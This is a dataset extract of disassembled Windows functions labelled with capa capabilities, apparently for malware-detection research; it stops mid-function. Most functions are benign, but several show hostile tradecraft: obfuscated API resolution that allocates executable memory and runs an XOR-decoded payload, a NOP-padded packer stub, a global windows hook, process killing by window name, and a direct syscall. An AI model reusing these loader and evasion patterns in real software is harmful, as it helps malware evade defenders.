joyce8/EMBER2024-capa huggingface dataset:
Function at 0x461d2c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x461ed7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x461eb8
mov dl, 1
mov eax, dword [0x412348]
call fcn.00403314
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004041e8
lea eax, [ebp - 0x114]
push eax
push pe_nt_image_headers32
call sub.USER32.DLL_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x461ea7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044ee20
test al, al
je 0x461e9a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x461ee8
lea eax, [ebp - 0x254]
call fcn.00409148
push eax
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x461e9a
xor eax, eax
push ebp
push 0x461e93
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x461f20
mov eax, dword [ebp - 0xc]
push eax
call sub.ADVAPI32.dll_RegQueryValueExA_1
test eax, eax
jne 0x461e7c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00404458
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x461e7c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00404458
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461e9a
mov eax, dword [ebp - 0xc]
push eax
call sub.ADVAPI32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x461d9d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415e3c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x461ede
lea eax, [ebp - 0x260]
call fcn.004041e8
ret

Function at 0x46280c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4b5bbc]
cmp byte [eax + 0xa5], 0
jne 0x46287d
cmp dword [0x4b5bd4], 0
jne 0x46283e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4627c8
push eax
push 3
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x4b5bd4], eax
cmp dword [0x4b5bd0], 0
jne 0x462859
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4b5bd0], eax
cmp dword [0x4b5bd8], 0
jne 0x46287d
push esp
push 0
push 0
push 0x46276c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4b5bd8], eax
pop edx
ret
Function at 0x462974
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x46298b
add esp, 0xfffffff0
call fcn.00403668
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419ce0
mov eax, dword [0x4b3ea8]
cmp word [eax + 2], 0
jne 0x4629b3
mov eax, dword [0x4b3ea8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004640dc
mov eax, dword [0x4b3f94]
cmp word [eax + 2], 0
jne 0x4629cd
mov eax, dword [0x4b3f94]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004642d4
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411f2c]
call fcn.00403314
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411f2c]
call fcn.00403314
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41c24c]
call fcn.00423a64
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x462b54
mov eax, dword [0x4b3d90]
mov eax, dword [eax]
push eax
call sub.USER32.DLL_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00423e34
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4648a4
push 0x100
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4b3d90]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.USER32.DLL_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040ca98
test eax, eax
je 0x462ac2
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408b28
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cac0
test eax, eax
je 0x462ad6
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.USER32.DLL_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, 0x100
call fcn.00404458
mov eax, dword [0x4b3bd4]
cmp byte [eax], 0
jne 0x462b0a
mov eax, ebx
call fcn.00462c7c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00464a80
mov eax, ebx
call fcn.00465444
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x462b4a
call fcn.004036c0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x462efc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4b5bbc]
cmp dword [eax + 0x30], 0
je 0x462fa6
cmp dword [ebx + 0x94], 0
jne 0x462fa0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x462e8c
call sub.USER32.DLL_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x462fa0
push 3
mov eax, dword [esp + 4]
push eax
call sub.USER32.DLL_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.USER32.DLL_GetWindowLongA
test al, 8
je 0x462f66
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x462fa0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414294
push eax
call sub.USER32.DLL_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x462f75
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x463b08
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x463b3d
push 0x100
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.USER32.DLL_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004042d8
jmp 0x463b4a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040423c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x464c5c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x464c9d
mov eax, esi
call fcn.0044a3a4
test al, al
je 0x464c9d
mov eax, dword [ebx + 0x84]
call fcn.0044a0a0
push eax
call sub.USER32.DLL_IsWindowVisible
test eax, eax
je 0x464c9d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0044a0a0
push eax
call sub.USER32.DLL_ShowWindow
pop esi
pop ebx
ret

Function at 0x468364
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x468392
mov eax, ebx
call fcn.00468e18
cmp dword [ebx + 0x40], 0
je 0x46838b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x468403
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4683f5
cmp dword [ebx + 8], 0
je 0x4683b4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4683c6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4683f5
cmp dword [ebx + 8], 0
je 0x4683a7
cmp eax, 3
je 0x4683d9
dec eax
jne 0x4683a7
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4683a7
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4683a7
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x468421
cmp dword [ebx + 0x14], 0xcc
je 0x468421
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046842c
pop ebx
ret
Function at 0x47b69c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, eax
push esp
push 0xff
call sub.kernel32.dll_GetTempPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x100
call fcn.00404458
add esp, 0x100
pop ebx
ret
Function at 0x4a3110
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404698
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4a327e
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.00478cb0
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.00478cd0
jmp 0x4a324a
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404458
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00408994
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00407ef4
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00407ef4
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.004045f4
je 0x4a322a
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404458
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00407ef4
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00407ef4
mov edx, dword [ebp - 0x148]
pop eax
call fcn.004045f4
jne 0x4a3241
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.00478cf0
test eax, eax
jne 0x4a318b
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a3285
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.0040420c
lea eax, [ebp - 4]
call fcn.004041e8
ret

Function at 0x4a3fd0
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
mov ebx, eax
push 0x4a409c
push 0
call sub.USER32.DLL_FindWindowA
test eax, eax
je 0x4a4009
push esp
push eax
call sub.USER32.DLL_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 4
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle
mov eax, 0x4a40b0
call fcn.004a3110
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push 0x4a40bc
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x4a4055
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0x4a40d0
call fcn.004a3110
mov eax, 0x4a40e8
call fcn.004088c8
mov eax, ebx
call fcn.004608b4
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x4a40fc
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x4a4097
push eax
call sub.kernel32.dll_CloseHandle
mov eax, 0x4a40d0
call fcn.004a3110
mov eax, 0x4a40e8
call fcn.004088c8
mov eax, ebx
call fcn.004608b4
pop edx
pop esi
pop ebx
ret
Function at 0x4a4308
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404698
xor eax, eax
push ebp
push 0x4a43ed
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a43fc
mov eax, dword [ebp - 4]
call fcn.004046a8
push eax
mov eax, dword [0x4b5668]
push eax
call sub.kernel32.dll_FindResourceA
mov edi, eax
push edi
mov eax, dword [0x4b5668]
push eax
call sub.kernel32.dll_LoadResource
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetHandleCount
mov dword [ebp - 0x10], eax
mov dl, 1
mov eax, dword [0x412638]
call fcn.00403314
mov ebx, eax
mov dl, 1
mov eax, dword [0x4655c0]
call fcn.00465874
mov esi, eax
push edi
mov eax, dword [0x4b5668]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
mov edx, edi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 4]
mov edx, dword [ebp - 0x10]
mov ecx, edi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FreeResource
xor ecx, ecx
xor edx, edx
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x14]
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, esi
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, esi
call fcn.00403344
mov eax, ebx
call fcn.00403344
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a43f4
lea eax, [ebp - 4]
call fcn.004041e8
ret

Function at 0x4a4728
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
push esp
push 5
mov eax, dword [0x4b4024]
mov eax, dword [eax]
call fcn.0044a0a0
push eax
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404458
add esp, 0x10c
pop ebx
ret
Function at 0x10008fff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000900e
pop dword [ebp - 0xc]
mov eax, 0x1000900e
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x53b8d4be
sub dword [ebp - 0x1c], 0x5668f73
mov dword [ebp - 0x18], 0x3d4bdbec
add dword [ebp - 0x18], 0xf4e77059
mov dword [ebp - 0x14], 0x4f68f849
add dword [ebp - 0x14], 0xfce34be5
mov dword [ebp - 0x10], 0x159fa184
add dword [ebp - 0x10], 0xea605e7c
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xdf767297
add dword [ebp - 0x1c], 0x94fbf6bf
mov dword [ebp - 0x18], 0x803277b4
add dword [ebp - 0x18], 0xc139e9c1
mov dword [ebp - 0x14], 0x22f2e3e5
add dword [ebp - 0x14], 0x407c8887
mov dword [ebp - 0x10], 0x9a5bc3ad
sub dword [ebp - 0x10], 0x9a5bc3ad
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x8514607b
add eax, 0x8aec3f8d
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3968e
push 0
call eax
mov ecx, 0x537f
mov ebx, eax
mov esi, 0xb40df8bb
sub esi, 0xa40d00bb
add esi, dword [ebp - 0xc]
mov edi, 0x91cbd831
xor dword [ebp - 8], esi
mov edx, dword [esi]
sub dword [ebp - 4], 0x79a5c992
xor edx, edi
mov dword [ebx], edx
mov dword [ebp - 8], 0xcd5014d5
add ebx, 0x7a75c5fe
add ebx, 0x858a3a06
add esi, 0xe2c1011d
sub esi, 0xe2c10119
loop 0x1000911a
add eax, 0x140cf
xor ebx, ebx
add ebx, eax
add eax, 0x16310b1a
sub eax, 0x16310b15
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1001bd6d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1001bd7c
pop dword [ebp - 0x50]
mov eax, 0x1001bd7c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xcb480000
sub dword [ebp - 0x60], 0x7cf5bab5
mov dword [ebp - 0x5c], 0x48b8ffcc
add dword [ebp - 0x5c], 0xe97a4c79
mov dword [ebp - 0x58], 0x7b39dde0
sub dword [ebp - 0x58], 0x2eed99b2
mov dword [ebp - 0x54], 0x3da13366
sub dword [ebp - 0x54], 0x3da13366
lea eax, [ebp - 0x60]
push eax
mov eax, 0xc4eef471
add eax, 0x4b12fc33
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xd4cdd286
add dword [ebp - 0x60], 0x9fa496d0
mov dword [ebp - 0x5c], 0x47939f1d
sub dword [ebp - 0x5c], 0x6273da8
mov dword [ebp - 0x58], 0xe0e5159d
sub dword [ebp - 0x58], 0x7d75a931
mov dword [ebp - 0x54], 0xda9806a8
add dword [ebp - 0x54], 0x2567f958
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xe2e8dfcb
add eax, 0x2d1910d1
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3b694
push 0
call eax
mov ecx, 0x492c
xor edi, edi
add edi, eax
mov ebx, 0x10029a00
add ebx, dword [ebp - 0x50]
mov edx, 0x11276429
sub dword [ebp - 4], 0xd9aca8e
mov esi, dword [ebx]
add dword [ebp - 0x34], esi
add esi, edx
add dword [ebp - 0x40], edi
mov dword [edi], esi
xor dword [ebp - 8], edx
add edi, 0x280a88d5
add edi, 0xd7f5772f
add ebx, 4
loop 0x1001be89
add eax, 0xa3142c6b
add eax, 0x5ceceb18
mov ebx, eax
add eax, 5
mov ecx, 0xfe4efc51
sub ecx, 0xee4efc51
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
nop
mov dword [eax + 0x29909090], edx
rcl dword [eax - 0x2dce6f70], 0x90
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7323186d
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..tls
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2e0a5c76
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x403740
Capabilities:
Terminate process

Disassembly:
call fcn.00401a26
push 0x5c
push 0x403868
call fcn.0040165c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x40f274
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
jne 0x4067d3
xor esi, esi
inc esi
mov eax, dword [0x40f270]
cmp eax, esi
je 0x4067f2
mov eax, dword [0x40f270]
test eax, eax
jne 0x40389c
mov dword [0x40f270], esi
push 0x403864
push 0x403858
call fcn.004038e0
pop ecx
pop ecx
test eax, eax
jne 0x4068a1
mov eax, dword [0x40f270]
cmp eax, esi
jne 0x4037f3
push 0x403854
push 0x403838
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40f270], 2
cmp dword [ebp - 0x20], ebx
jne 0x403800
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x40f280], ebx
jne 0x4067ff
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
cmp dword [eax], ebx
je 0x4068a1
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp cx, 0x20
jbe 0x403890
cmp cx, 0x22
je 0x40683e
inc eax
inc eax
jmp 0x40381b
cmp cx, bx
je 0x4038a7
cmp dword [ebp - 0x1c], ebx
je 0x4038a7
jmp 0x403827
mov dword [0x40f2d8], esi
jmp 0x4037cf
movzx ecx, word [eax]
cmp cx, bx
je 0x4038bc
cmp cx, 0x20
ja 0x4038bc
inc eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x4038a7
test byte [ebp - 0x40], 1
jne 0x406821
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call fcn.00401d9d
jmp 0x40682a
cmp eax, esi
jne 0x4067e2
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x403796
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403782
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4037cf
push 0x40f280
call fcn.0040d174
pop ecx
test eax, eax
je 0x40380c
push ebx
push 2
push ebx
call dword [0x40f280]
jmp 0x40380c
movzx ecx, word [ebp - 0x3c]
jmp 0x4038c9
mov dword [0x40f2d4], eax
cmp dword [0x40f254], ebx
jne 0x40687e
push eax
call dword [sym.imp.msvcrt.dll_exit]
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
jmp 0x403831
cmp dword [0x40f2d8], ebx
jne 0x40688c
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40f2d4]
jmp 0x4068ad
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.0040171c
ret
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40673a
pop dword [ebp - 0x24]
mov eax, 0xe034c2d
add eax, 0xf23d1b0d
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x5c0d4bee
add dword [ebp - 0x34], 0xf244f95d
mov dword [ebp - 0x30], 0x81b4c554
add dword [ebp - 0x30], 0xb07e86f1
mov dword [ebp - 0x2c], 0x7ac7c0b
add dword [ebp - 0x2c], 0x449fc823
mov dword [ebp - 0x28], 0x7275d11a
sub dword [ebp - 0x28], 0x7275d11a
lea eax, [ebp - 0x34]
push eax
mov eax, 0xaa2a1ef9
add eax, 0x5616620b
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x9f1aa4af
add dword [ebp - 0x34], 0xd557c4a7
mov dword [ebp - 0x30], 0xe18104e8
add dword [ebp - 0x30], 0x5feb5c8d
mov dword [ebp - 0x2c], 0x561dc15c
add dword [ebp - 0x2c], 0xd51ab10
mov dword [ebp - 0x28], 0x9d4671bc
sub dword [ebp - 0x28], 0x9d4671bc
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1b485377
add eax, 0xe4f82d89
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x371c9
push 0
call eax
mov ecx, 0x5655d49
add ecx, 0xfa9ae919
mov edx, eax
mov ebx, 0x36fb49b4
sub ebx, 0x36b465b4
add ebx, dword [ebp - 0x24]
mov edi, 0x953e69aa
mov dword [ebp - 0x10], 0xb92f4d95
mov esi, dword [ebx]
add dword [ebp - 0x10], ecx
xor esi, edi
mov dword [ebp - 0xc], 0xa2d4b857
mov dword [edx], esi
xor dword [ebp - 0x14], esi
add edx, 0x6146952f
add edx, 0x9eb96ad5
add ebx, 4
loop 0x406856
add eax, 0x10c5b
xor ebx, ebx
add ebx, eax
add eax, 0x768fe129
add eax, 0x89701edc
mov ecx, 0x30a9f208
add ecx, 0xcf960df8
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x410d66
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 8], 0
jge 0x410d88
mov eax, 0xfffffffd
jmp 0x410e00
mov ebx, dword [0x4dfe14]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x410dce
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
mov ebx, dword [0x4dfe14]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x410df6
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
